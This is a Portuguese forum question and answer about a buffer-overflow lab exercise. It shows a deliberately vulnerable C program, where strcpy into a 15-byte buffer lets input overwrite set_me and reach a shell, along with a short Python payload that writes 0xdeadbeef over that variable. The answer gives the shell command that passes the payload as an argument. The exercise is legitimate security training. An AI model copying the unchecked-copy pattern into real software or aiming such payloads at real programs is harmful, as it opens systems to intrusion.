Como o stdout é canalizado para um arquivo localizado em um diretório diferente?

0

Eu quero canalizar o stdout do meu arquivo python exploit1.py para ser aceito como um argumento de linha de comando de um executável C lab2C.c . Minha intenção é estourar o buffer de caracteres em lab2C.c para que a memória vaze para int set_me . Isso fará com que a instrução condicional localizada em main () chame a função shell () mesmo que eu não tenha inserido nenhuma das senhas corretas.

O problema é que exploit1.py e lab2C.c estão localizados em dois diretórios diferentes que não pertencem ao mesmo caminho local. exploit1.py está localizado em /tmp . lab2C e lab2C.c estão localizados em /levels/lab02 . Como canalizar o stdout de exploit1.py para ser aceito como um parâmetro de função principal de lab2C ?

Aqui estão os dois arquivos para referência:

exploit1.py:

def main():

    print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

lab2C.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
        printf("You did it.\n");
        system("/bin/sh");
}

int main(int argc, char** argv){
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}
    
por Darien Springer 03.05.2018 / 08:40

1 resposta

3

Seu programa C não lê a entrada padrão, então nada pode ser canalizado para ela. No entanto, ele espera argumentos de linha de comando, então você teria que invocá-lo como

/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"

Se você está atualmente localizado em /levels/lab02 , isso pode ser encurtado para

./lab2C.exe "$(python /tmp/exploit1.py)"

Observe que é incomum fornecer aos arquivos executáveis o sufixo .exe no Unix. Você também tem erros em seu código (uma saturação de buffer e falta de cabeçalhos), e a string no código Python não faz o que você pensa que faz (as barras devem provavelmente ser barras invertidas).

    
por 03.05.2018 / 08:47